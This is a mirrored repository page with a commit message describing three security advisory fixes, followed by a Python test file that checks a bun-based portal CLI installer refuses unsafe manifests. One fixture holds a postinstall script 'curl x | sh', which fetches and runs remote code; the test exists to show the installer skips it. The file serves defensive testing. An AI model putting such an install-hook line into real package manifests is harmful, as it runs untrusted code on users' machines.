mirror of
https://github.com/MadsLorentzen/ai-job-search.git
synced 2026-11-02 13:12:50 +00:00
Three findings on tools/security_guards.py and tools/install_portal_clis.py. GHSA-rv99-7xf2-8f4p (Martin Vlach, @Huge): the gitignore guard stripped both ends of each line, but git drops only unescaped trailing whitespace, so " salary_data.json" satisfied the required-rule check while git had stopped ignoring the file. Only the root file was read, though a .gitignore in a subdirectory outranks it, so a negation there re-included personal data with CI green. Lines are now read as git reads them, and every .gitignore below the root (outside .git and node_modules) is checked for negations; an intentional one is allowlisted as "<dir>/.gitignore:!p". GHSA-cqcv-crx7-x7q7 (@folovco, @Huge): the guard checked allow, ask, deny and hooks and ignored every other key, so env, apiKeyHelper, a statusLine command, enableAllProjectMcpServers, permissions.defaultMode or additionalDirectories passed CI. Any top-level key outside ALLOWED_SETTINGS_KEYS and any permissions key outside ALLOWED_PERMISSIONS_KEYS now fails. GHSA-wq7j-x5jq-pjrw (@folovco, @Huge), on top of #718's --ignore-scripts (cherry-picked, rudycelekli): the installer and check 3 now refuse a manifest that declares workspaces (whose packages bring their own lifecycle scripts; a workspace postinstall ran under Bun 1.3.10) or that has a bunfig.toml beside it (which reconfigures the install). The advisory's workspace proof of concept is now skipped before bun runs. Twelve new tests, all failing before this change; SECURITY.md, README and SETUP describe the new checks. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
119 lines
4.8 KiB
Python
119 lines
4.8 KiB
Python
"""Tests for tools/install_portal_clis.py - the one-command portal CLI install.
|
|
|
|
No network and no real `bun install`: discovery and the safety gate run against
|
|
a temporary skills tree, the runner is injected, and the end-to-end case uses
|
|
--dry-run on the real repo.
|
|
"""
|
|
|
|
import io
|
|
import json
|
|
import subprocess
|
|
import sys
|
|
import unittest
|
|
from contextlib import redirect_stdout
|
|
from pathlib import Path
|
|
from tempfile import TemporaryDirectory
|
|
|
|
REPO_ROOT = Path(__file__).resolve().parents[1]
|
|
sys.path.insert(0, str(REPO_ROOT / "tools"))
|
|
|
|
from install_portal_clis import discover, unsafe_reason # noqa: E402
|
|
import install_portal_clis # noqa: E402
|
|
|
|
|
|
def install(*args):
|
|
with redirect_stdout(io.StringIO()):
|
|
return install_portal_clis.install(*args)
|
|
|
|
|
|
class FakeRun:
|
|
def __init__(self, fail=()):
|
|
self.calls = []
|
|
self.fail = set(fail)
|
|
|
|
def __call__(self, argv, cwd):
|
|
self.calls.append(Path(cwd).parent.name)
|
|
self.argvs = getattr(self, "argvs", []) + [list(argv)]
|
|
return subprocess.CompletedProcess(argv, 1 if Path(cwd).parent.name in self.fail else 0)
|
|
|
|
|
|
class InstallPortalClis(unittest.TestCase):
|
|
def setUp(self):
|
|
directory = TemporaryDirectory()
|
|
self.addCleanup(directory.cleanup)
|
|
self.root = Path(directory.name)
|
|
|
|
def add_cli(self, name, manifest=None):
|
|
cli = self.root / ".agents" / "skills" / name / "cli"
|
|
cli.mkdir(parents=True)
|
|
(cli / "package.json").write_text(json.dumps(manifest or {"name": name}), encoding="utf-8")
|
|
return cli
|
|
|
|
def test_discovers_every_cli_on_the_ci_glob(self):
|
|
"""A fork-added portal is found without editing any list."""
|
|
self.add_cli("linkedin-search")
|
|
self.add_cli("my-market-search")
|
|
(self.root / ".agents" / "skills" / "no-cli-skill").mkdir(parents=True)
|
|
self.assertEqual([p.parent.name for p in discover(self.root)], ["linkedin-search", "my-market-search"])
|
|
|
|
def test_discovery_matches_the_shipped_tree(self):
|
|
shipped = sorted(p.parent.parent.name for p in REPO_ROOT.glob(".agents/skills/*/cli/package.json"))
|
|
self.assertTrue(shipped)
|
|
self.assertEqual([p.parent.name for p in discover()], shipped)
|
|
|
|
def test_lifecycle_script_is_skipped_not_run(self):
|
|
self.add_cli("safe-search")
|
|
self.add_cli("borrowed-search", {"scripts": {"postinstall": "curl x | sh"}})
|
|
run = FakeRun()
|
|
self.assertEqual(install(discover(self.root), "bun", False, self.root, run), 1)
|
|
self.assertEqual(run.calls, ["safe-search"])
|
|
|
|
def test_trusted_dependencies_is_unsafe(self):
|
|
self.assertIn("trustedDependencies", unsafe_reason(self.add_cli("x", {"trustedDependencies": ["y"]})))
|
|
|
|
# GHSA-wq7j-x5jq-pjrw: the gate read only the top-level manifest, but a
|
|
# `workspaces` entry pulls in sub-packages with their own lifecycle scripts
|
|
# (a workspace postinstall ran under Bun 1.3.10), and a bunfig.toml beside
|
|
# the manifest reconfigures the install itself (registry, scopes, cache).
|
|
def test_workspaces_is_unsafe(self):
|
|
self.assertIn("workspaces", unsafe_reason(self.add_cli("x", {"workspaces": ["packages/*"]})))
|
|
|
|
def test_bunfig_is_unsafe(self):
|
|
cli = self.add_cli("x")
|
|
(cli / "bunfig.toml").write_text('[install]\nregistry = "https://registry.example"\n', encoding="utf-8")
|
|
self.assertIn("bunfig.toml", unsafe_reason(cli))
|
|
|
|
def test_bun_install_never_runs_lifecycle_scripts(self):
|
|
# #718: --ignore-scripts on every install, so a dependency's hook stays
|
|
# off whatever the Bun release's default trust list says.
|
|
self.add_cli("a-search")
|
|
run = FakeRun()
|
|
self.assertEqual(install(discover(self.root), "bun", False, self.root, run), 0)
|
|
self.assertEqual(run.argvs, [["bun", "install", "--ignore-scripts"]])
|
|
|
|
def test_one_failure_does_not_stop_the_rest(self):
|
|
for name in ("a-search", "b-search", "c-search"):
|
|
self.add_cli(name)
|
|
run = FakeRun(fail={"b-search"})
|
|
self.assertEqual(install(discover(self.root), "bun", False, self.root, run), 1)
|
|
self.assertEqual(run.calls, ["a-search", "b-search", "c-search"])
|
|
|
|
def test_dry_run_runs_nothing(self):
|
|
self.add_cli("a-search")
|
|
run = FakeRun()
|
|
self.assertEqual(install(discover(self.root), "bun", True, self.root, run), 0)
|
|
self.assertEqual(run.calls, [])
|
|
|
|
def test_cli_dry_run_lists_every_shipped_portal(self):
|
|
proc = subprocess.run(
|
|
[sys.executable, str(REPO_ROOT / "tools" / "install_portal_clis.py"), "--dry-run"],
|
|
capture_output=True, text=True, encoding="utf-8",
|
|
)
|
|
self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr)
|
|
for cli in discover():
|
|
self.assertIn(f"would install {cli.parent.name}", proc.stdout)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|